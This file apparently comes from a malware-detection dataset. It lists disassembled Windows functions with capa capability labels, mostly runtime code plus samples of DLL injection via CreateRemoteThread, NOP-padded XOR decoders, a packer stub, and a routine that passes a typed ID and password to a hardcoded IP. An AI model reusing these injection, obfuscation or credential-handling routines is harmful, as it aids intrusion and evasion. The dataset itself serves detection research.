joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a761c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x697cc8]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4a765f
cmp word [esi], dx
jne 0x4a765f
or byte [edi + eax + 0x28], 4
jmp 0x4a7664
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4a77b7
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4a7797
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4a76a6
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4a76dc
cmp eax, edx
jae 0x4a76e8
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4a767e
jmp 0x4a77b7
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4a7793
cmp dword [ebp - 0x14], 0
je 0x4a7793
mov eax, dword [ebx*4 + 0x697cc8]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4a776b
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4a7734
mov word [esi], cx
jmp 0x4a7767
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x697cc8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x697cc8]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x697cc8]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4a77b7
pop ebx
cmp word [ebp - 4], bx
jne 0x4a777c
cmp esi, dword [ebp + 0xc]
jne 0x4a777c
mov word [esi], bx
jmp 0x4a77b4
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040194c
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4a77b7
push 0xd
jmp 0x4a77b0
mov ecx, dword [ebx*4 + 0x697cc8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4a77ae
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4a77b7
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1001d7e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
mov ebx, 0x20019
push ebx
push 0
push 0x1001b1c
mov edi, 0x80000002
push edi
mov dword [ebp - 8], 1
call esi
test eax, eax
jne 0x1001dee
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x1001b40
push dword [ebp - 4]
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001ddf
cmp dword [ebp - 0x10], eax
sete al
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], 0
je 0x1001e1c
lea eax, [ebp - 4]
push eax
push ebx
push 0
mov ebx, 0x1001aec
push ebx
push edi
call esi
test eax, eax
jne 0x1001e1c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 0x1001b14
push dword [ebp + 8]
push dword [ebp + 8]
call fcn.010022f6
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x100206d
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 1
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov ax, word [esi]
cmp ax, 0x22
push 2
pop ecx
jne 0x10020a8
add esi, ecx
mov ax, word [esi]
test ax, ax
je 0x10020a0
cmp ax, 0x22
jne 0x1002090
cmp word [esi], 0x22
jne 0x10020c0
jmp 0x10020be
cmp ax, 0x20
jbe 0x10020c0
add esi, ecx
cmp word [esi], 0x20
ja 0x10020ae
jmp 0x10020c0
cmp ax, 0x20
ja 0x10020c8
add esi, ecx
mov ax, word [esi]
test ax, ax
jne 0x10020b8
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x18], 1
je 0x10020e2
movzx eax, word [ebp - 0x14]
jmp 0x10020e5
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10021a5
Capabilities:
Check os version
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
xor eax, eax
cmp dword [0x1003004], eax
mov dword [ebp - 4], eax
je 0x10021e3
push 0x1003010
mov dword [0x1003004], eax
mov dword [0x1003010], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x10021e3
mov dword [0x1003020], 1
cmp dword [0x1003020], 2
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
jne 0x10022d8
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, 0x104
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001d1c
call edi
test eax, eax
je 0x1002232
push 0x1001d0c
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.010020ff
test eax, eax
jne 0x100229d
cmp dword [0x1003014], 5
jb 0x100226c
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001cc0
call edi
test eax, eax
je 0x100226c
push 0x1001cfc
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.010020ff
test eax, eax
jne 0x100229d
push esi
lea eax, [ebp - 0x110]
push eax
push 0x1001cf0
call edi
test eax, eax
je 0x10022ac
push 0x1001ce0
lea eax, [ebp - 0x110]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.010020ff
test eax, eax
je 0x10022ac
mov dword [ebp - 4], 1
lea eax, [ebp - 0x214]
jmp 0x10022df
push 5
lea eax, [ebp - 0xc]
push eax
push 0x1001cb4
call edi
test eax, eax
je 0x10022d8
push 0x1001cd0
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
lea eax, [ebp - 0x214]
push eax
call fcn.010020ff
test eax, eax
jne 0x100229d
cmp dword [ebp + 0xc], ebx
je 0x10022ec
mov eax, ebx
push dword [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x64426a44
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x469809bd
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x401040
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x22c
lea ecx, [ebp - 0x230]
push 0
push ecx
mov dword [ebp - 0x234], eax
xor bl, bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
push 0xf
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x4010e7
lea edx, [ebp - 0x230]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
nop
lea eax, [ebp - 0x20c]
push eax
mov eax, edi
call fcn.004013c0
push eax
call dword [sym.imp.MSVCR100.dll__wcsicmp]
add esp, 8
test eax, eax
je 0x4010d0
lea ecx, [ebp - 0x230]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4010a0
jmp 0x4010e0
mov edx, dword [ebp - 0x228]
mov eax, dword [ebp - 0x234]
mov dword [eax], edx
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
mov al, bl
xor ecx, ebp
pop ebx
call fcn.00403810
mov esp, ebp
pop ebp
ret

Function at 0x401100
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push eax
xor ebx, ebx
push ebx
push 0x1fffff
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x40118c
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x10]
push edi
push 4
push 0x1000
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
cmp edi, ebx
je 0x40118b
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x10]
push ebx
lea edx, [ecx + ecx]
push edx
call fcn.004013c0
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40118b
push 0x40519c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.LoadLibraryW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push edi
push eax
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [ebp - 1], 1
pop edi
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push ebx
call esi
mov al, byte [ebp - 1]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4011b0
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4041bb
mov eax, dword fs:[0]
push eax
mov eax, 0x10440
call fcn.00403b30
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.MSVCR100.dll_printf]
push str.Type_in_your_ID_n
call esi
mov edi, dword [sym.imp.MSVCR100.dll_scanf]
lea eax, [ebp - 0x410]
push eax
push 0x4051dc
call edi
push str.Type_in_your_PWD_n
call esi
lea ecx, [ebp - 0x210]
push ecx
push 0x4051dc
call edi
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x410]
push eax
push str.167.114.195.110_20000__s__s_spare_param
lea ecx, [ebp - 0x10410]
push 0xffff
push ecx
call dword [sym.imp.MSVCR100.dll_sprintf_s]
lea edx, [ebp - 0x10410]
push str.MFCLIENT
push edx
call fcn.00401b40
add esp, 0x34
test al, al
je 0x401369
push str.start_Client.exe_MFCLIENT
call dword [sym.imp.MSVCR100.dll_system]
xor eax, eax
add esp, 4
xor ebx, ebx
mov word [ebp - 0x10448], ax
mov esi, 7
push 0xa
mov eax, str.client.exe
lea ecx, [ebp - 0x10448]
mov dword [ebp - 0x1044c], ebx
mov dword [ebp - 0x10434], esi
mov dword [ebp - 0x10438], ebx
call fcn.00401480
mov dword [ebp - 4], ebx
xor ecx, ecx
mov word [ebp - 0x1042c], cx
push 0xb
mov eax, str.PNProxy.dll
lea ecx, [ebp - 0x1042c]
mov dword [ebp - 0x10418], esi
mov dword [ebp - 0x1041c], ebx
call fcn.00401480
lea edx, [ebp - 0x1044c]
push edx
lea edi, [ebp - 0x10448]
call fcn.00401040
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
test al, al
jne 0x401301
push 0x64
call esi
lea eax, [ebp - 0x1044c]
push eax
lea edi, [ebp - 0x10448]
call fcn.00401040
add esp, 4
test al, al
je 0x4012e4
push 0x1388
call esi
mov eax, dword [ebp - 0x1044c]
lea ecx, [ebp - 0x1042c]
push ecx
call fcn.00401100
mov edi, dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
mov esi, 8
add esp, 4
cmp dword [ebp - 0x10418], esi
jb 0x40133c
mov edx, dword [ebp - 0x1042c]
push edx
call edi
add esp, 4
xor eax, eax
mov dword [ebp - 0x10418], 7
mov dword [ebp - 0x1041c], ebx
mov word [ebp - 0x1042c], ax
cmp dword [ebp - 0x10434], esi
jb 0x401369
mov ecx, dword [ebp - 0x10448]
push ecx
call edi
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00403810
mov esp, ebp
pop ebp
ret
Function at 0x401b40
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, 0x1000
call fcn.00403b30
mov edx, dword [esp + 0x1004]
push ebx
push ebp
push edi
test edx, edx
je 0x401c35
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x401c35
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x1000
jae 0x401c35
mov ecx, 0x3ff
lea edi, [esp + 0xd]
mov byte [esp + 0xc], al
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x1014]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push eax
push ecx
push edx
call fcn.00401a00
add esp, 0xc
push str.Netmarble_ClipFormat
call dword [sym.imp.USER32.dll_RegisterClipboardFormatA]
mov ebp, eax
test ebp, ebp
je 0x401c35
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x401c35
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x401c2f
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, eax
test edx, edx
je 0x401c2f
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebp
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
pop esi
jne 0x401c41
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebp
xor al, al
pop ebx
add esp, 0x1000
ret
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebp
mov al, 1
pop ebx
add esp, 0x1000
ret

Function at 0x403810
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x407040]
jne 0x40381a
repz ret
jmp fcn.00403b5b
Function at 0x410e10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.fHUBmpzJ
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x410e32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x410e39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x410e28
mov eax, 1
add ebx, ebx
jne 0x410e4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x410e40
jne 0x410e5c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410e40
xor ecx, ecx
sub eax, 3
jb 0x410e70
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x410ee2
mov ebp, eax
add ebx, ebx
jne 0x410e7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x410e88
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x410eac
inc ecx
add ebx, ebx
jne 0x410e98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x410e8d
jne 0x410ea9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x410e8d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x410ecc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x410ebd
jmp 0x410e2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x410ecc
add edi, ecx
jmp 0x410e2e
pop esi
mov edi, esi
mov ecx, 0x1fd
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x410eea
cmp byte [edi], 1
jne 0x410eea
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x410eef
lea edi, [esi + 0xe000]
mov eax, dword [edi]
or eax, eax
je 0x410f5e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x100b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x10108]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x410f1c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x10110]
or eax, eax
je 0x410f58
mov dword [ebx], eax
add ebx, 4
jmp 0x410f39
call dword [esi + 0x1010c]
mov ebp, dword [esi + 0x10114]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x410f92
sub esp, 0xffffff80
jmp 0x405884

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x1000125c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0xc], 0
call sub.KERNEL32.DLL_GetEnvironmentStringsA
mov ebx, eax
mov dword [ebp - 0x10], ebx
jmp 0x10001299
cmp byte [ebx], 0x3d
je 0x10001285
inc dword [ebp - 0xc]
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
lea ebx, [ebx + edi]
cmp byte [ebx], 0
jne 0x10001278
mov edi, dword [ebp - 0xc]
inc edi
lea edi, [edi*4]
mov dword [ebp - 0x14], edi
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_malloc
pop ecx
mov dword [ebp - 8], eax
mov dword [0x10003010], eax
cmp dword [ebp - 8], 0
jne 0x100012cc
xor eax, eax
jmp 0x10001342
mov ebx, dword [ebp - 0x10]
jmp 0x10001325
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb al, byte es:[edi]
neg ecx
lea eax, [ecx - 2]
mov edi, eax
inc edi
mov dword [ebp - 4], edi
cmp byte [ebx], 0x3d
je 0x1000131f
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
pop ecx
mov esi, dword [ebp - 8]
mov dword [esi], eax
or eax, eax
jne 0x10001308
jmp 0x10001342
push ebx
mov edi, dword [ebp - 8]
push dword [edi]
call sub.CRTDLL.DLL_strcpy
add esp, 8
add dword [ebp - 8], 4
mov edx, dword [ebp - 4]
lea ebx, [ebx + edx]
cmp byte [ebx], 0
jne 0x100012d1
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov eax, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x42e030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x50bbba
Capabilities:
Encode data using xor

Disassembly:
dec esp
std
inc edi
cmp byte [edi - 0x2b], cl
or al, 0xdc
push es
xor dword [ebx], 0xffffffb0
dec edi
out dx, al
xor eax, 0x8b72a3ab
popal
push eax
pop ebx
mov al, byte [0x93c0034e]
xchg edx, eax
xchg esp, eax
mov ch, 0xe3
clc
ficomp word [ebx]
invalid

Function at 0x56d4b7
Capabilities:
Encode data using xor

Disassembly:
out dx, al
cmp eax, 0x23fd1db4
push esi
sbb eax, 0xbd4ae085
lea esi, [eax - 0x3f]
fsubrp st(3)
sal bl, 0x9e
xor ebp, dword [edi]
sbb byte [esi + 0x68], bh
invalid

Function at 0x5bb3ce
Capabilities:
Encode data using xor

Disassembly:
nop
test eax, 0x6735e2cd
pop ebx
jne 0x5bb391
loope 0x5bb392
movsb byte es:[edi], byte es:[esi]
inc ebx
daa
imul byte [eax + ebp*8 + 0x4f]
mov eax, 0xe583968b
loopne 0x5bb3d3
xchg esi, eax
and ebp, 0xffffffe0
jp 0x5bb33f
in eax, 0x56
push esi
xchg esp, eax
scasb al, byte es:[edi]
xor al, 0xe8
jne 0x5bb35b
push ebx
repne lodsd eax, dword fs:[esi]
repne lodsd eax, dword [esi]
and dword [ebp + 0x589adfb4], eax
adc esp, dword [edx - 0x19]
dec eax
push edi
cmp edi, dword [esi + 0x23773fe]
stosb byte es:[edi], al
not dword [edx - 0x45]
shr dword [eax + 0x2e87dfea], 1
mov bl, 0x47
stc
pushal
in eax, dx
dec edx
inc esi
fucomp st(2)
xchg ecx, eax
push 0xffffffffffffff89
jmp 0xd402fdc4
rol dword [esi], cl
push es
sbb eax, 0x8fbc313a
jmp 0x8f7f2587
xor byte [eax - 5], al
jb 0x5bb354
dec ebx
push cs
lodsb al, byte [esi]
dec ebx
sub byte [edx + ebx*2], dl
mov esp, 0x757675e6
jne 0x5bb363
loope 0x5bb3d7
movsd dword es:[edi], dword [esi]
int1
dec byte [edx + 0x1e]
fistp word [esi]
invalid

Function at 0x62af6a
Capabilities:
Encode data using xor

Disassembly:
pop esi
inc ebx
push esp
in al, 0xe8
idiv byte [esi + 0x6af4433b]
and eax, dword [esi]
pop es
xor byte [esi], 0xe2
popal
pushal
cmpsd dword [esi], dword es:[edi]
xor byte [eax + 0x38c3bdb5], ch
and byte [eax + 0x77e194c6], al
in al, 0x22
out dx, al
push ecx
and ecx, ebx
add esi, esp
push ecx
call 0x41ac6378
mov ebx, 0x204b5011
sub dl, byte [ecx + 0x40]
dec edx
push ss
aas
xchg edi, eax
add cl, byte [edi + 0x8da36ee]
popal
invalid
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x43200c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40729f
nop
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x412402
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41242e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4124cb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x4124f5
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412470
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x4124fa
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4124f5
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x40890d
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4085d8
and ecx, ecx
call fcn.0040893c
xor dword [edx], ebx
inc edi
add edx, 1
mov ecx, 0x63a23fd8
mov edi, edi
cmp edx, eax
jne fcn.0040890d
sub edi, 0x915175ed
sub edi, 0xdff54835
ret